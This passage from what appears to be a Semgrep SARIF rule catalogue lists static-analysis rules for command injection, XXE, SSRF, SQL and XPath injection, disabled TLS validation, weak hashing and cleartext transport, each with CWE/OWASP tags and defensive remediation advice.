gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input that is used respectively as system commands or command arguments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-command-injection.tainted-command-injection)\n - [https://www.php.net/manual/en/function.eval](https://www.php.net/manual/en/function.eval)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input that is used respectively as system commands or command arguments."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-command-injection.tainted-command-injection","id":"php.lang.security.tainted-command-injection.tainted-command-injection","name":"php.lang.security.tainted-command-injection.tainted-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-command-injection.tainted-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-phantom-injection.express-phantom-injection)\n - [https://phantomjs.org/page-automation.html](https://phantomjs.org/page-automation.html)\n","text":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-phantom-injection.express-phantom-injection","id":"javascript.express.security.express-phantom-injection.express-phantom-injection","name":"javascript.express.security.express-phantom-injection.express-phantom-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-phantom-injection.express-phantom-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via Apache HTTP Components to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via Apache HTTP Components to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request)\n - [https://hc.apache.org/httpcomponents-client-ga/quickstart.html](https://hc.apache.org/httpcomponents-client-ga/quickstart.html)\n","text":"Checks for requests sent via Apache HTTP Components to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request","id":"problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request","name":"problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using QUERY.count() instead of len(QUERY.all()) sends less data to the client since the SQLAlchemy method is performed server-side."},"help":{"markdown":"Using QUERY.count() instead of len(QUERY.all()) sends less data to the client since the SQLAlchemy method is performed server-side.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.performance.performance-improvements.len-all-count)\n","text":"Using QUERY.count() instead of len(QUERY.all()) sends less data to the client since the SQLAlchemy method is performed server-side."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.performance.performance-improvements.len-all-count","id":"python.sqlalchemy.performance.performance-improvements.len-all-count","name":"python.sqlalchemy.performance.performance-improvements.len-all-count","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.performance.performance-improvements.len-all-count"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxreader-xxe.saxreader-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxreader-xxe.saxreader-xxe","id":"kotlin.xxe.saxreader-xxe.saxreader-xxe","name":"kotlin.xxe.saxreader-xxe.saxreader-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxreader-xxe.saxreader-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"IPv6Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'."},"help":{"markdown":"IPv6Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv6network1)\n","text":"IPv6Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv6network1","id":"python.lang.compatibility.python37.python37-compatibility-ipv6network1","name":"python.lang.compatibility.python37.python37-compatibility-ipv6network1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-ipv6network1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments."},"help":{"markdown":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation","id":"cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation","name":"cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SSL that will accept an unverified connection. This makes the connections susceptible to man-in-the-middle attacks. Use 'OpenSSL::SSL::VERIFY_PEER' instead."},"help":{"markdown":"Detected SSL that will accept an unverified connection. This makes the connections susceptible to man-in-the-middle attacks. Use 'OpenSSL::SSL::VERIFY_PEER' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Detected SSL that will accept an unverified connection. This makes the connections susceptible to man-in-the-middle attacks. Use 'OpenSSL::SSL::VERIFY_PEER' instead."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify","id":"ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify","name":"ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet","id":"java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet","name":"java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for outgoing connections to ftp servers via Spring plugin ftpSessionFactory. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network."},"help":{"markdown":"Checks for outgoing connections to ftp servers via Spring plugin ftpSessionFactory. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request)\n - [https://docs.spring.io/spring-integration/api/org/springframework/integration/ftp/session/AbstractFtpSessionFactory.html#setClientMode-int-](https://docs.spring.io/spring-integration/api/org/springframework/integration/ftp/session/AbstractFtpSessionFactory.html#setClientMode-int-)\n","text":"Checks for outgoing connections to ftp servers via Spring plugin ftpSessionFactory. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request","id":"problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request","name":"problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"helpUri":"https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib","id":"python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib","name":"python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"IPv4Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'."},"help":{"markdown":"IPv4Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv4network1)\n","text":"IPv4Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv4network1","id":"python.lang.compatibility.python37.python37-compatibility-ipv4network1","name":"python.lang.compatibility.python37.python37-compatibility-ipv4network1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-ipv4network1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Make sure that unverified user data can not reach `vm2`."},"help":{"markdown":"Make sure that unverified user data can not reach `vm2`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Make sure that unverified user data can not reach `vm2`."},"helpUri":"https://semgrep.dev/r/javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection","id":"javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection","name":"javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Should not use md5 to generate hashes. md5 is proven to be vulnerable through the use of brute-force attacks. Could also result in collisions, leading to potential collision attacks. Use SHA256 or other hashing functions instead."},"help":{"markdown":"Should not use md5 to generate hashes. md5 is proven to be vulnerable through the use of brute-force attacks. Could also result in collisions, leading to potential collision attacks. Use SHA256 or other hashing functions instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.weak-hashes-md5.weak-hashes-md5)\n - [https://www.ibm.com/support/pages/security-bulletin-vulnerability-md5-signature-and-hash-algorithm-affects-sterling-integrator-and-sterling-file-gateway-cve-2015-7575](https://www.ibm.com/support/pages/security-bulletin-vulnerability-md5-signature-and-hash-algorithm-affects-sterling-integrator-and-sterling-file-gateway-cve-2015-7575)\n","text":"Should not use md5 to generate hashes. md5 is proven to be vulnerable through the use of brute-force attacks. Could also result in collisions, leading to potential collision attacks. Use SHA256 or other hashing functions instead."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.weak-hashes-md5.weak-hashes-md5","id":"ruby.lang.security.weak-hashes-md5.weak-hashes-md5","name":"ruby.lang.security.weak-hashes-md5.weak-hashes-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.weak-hashes-md5.weak-hashes-md5"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements."},"help":{"markdown":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection","id":"python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection","name":"python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mongoose-where-express.mongoose-where-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mongoose-where-express.mongoose-where-express","id":"javascript.express.db.mongoose-where-express.mongoose-where-express","name":"javascript.express.db.mongoose-where-express.mongoose-where-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mongoose-where-express.mongoose-where-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure ImageBuilder component is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure ImageBuilder component is encrypted at rest using KMS CMKs. CMKs gives you control over the 